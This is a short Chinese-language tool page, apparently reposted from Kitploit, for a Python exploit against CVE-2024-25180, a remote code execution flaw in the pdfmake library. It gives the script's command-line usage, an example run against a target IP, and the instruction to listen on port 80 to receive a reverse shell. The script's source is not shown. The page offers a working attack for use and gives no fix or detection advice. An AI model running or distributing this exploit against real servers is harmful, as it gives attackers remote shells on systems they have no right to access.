CVE-2024-25180 — 针对CVE-2024-25180的Python利用脚本，该漏洞是pdfmake中的一个远程代码执行漏洞，通过精心构造的POST请求传递反向Shell。 | Kitploit

CVE-2024-25180

概述

pdfmake是一个纯 JavaScript 客户端/服务器端 PDF 打印此软件包的受影响版本容易受到任意代码注入攻击，攻击者可以通过向路径发送精心设计的 POST 请求来执行任意代码/pdf。攻击者可以通过发送精心设计的请求在系统上执行任意代码。

CVE-2024-25180 Remote Code Execution in pdfmake

脚本利用

python3 CVE-2024-25180.py <TARGET_IP> <TARGET_PORT> <LOCAL_IP> <LOCAL_PORT>

python3 CVE-2024-25180.py 192.168.140.42 1234 192.168.45.208 80

监听80端口，即可获取反弹shell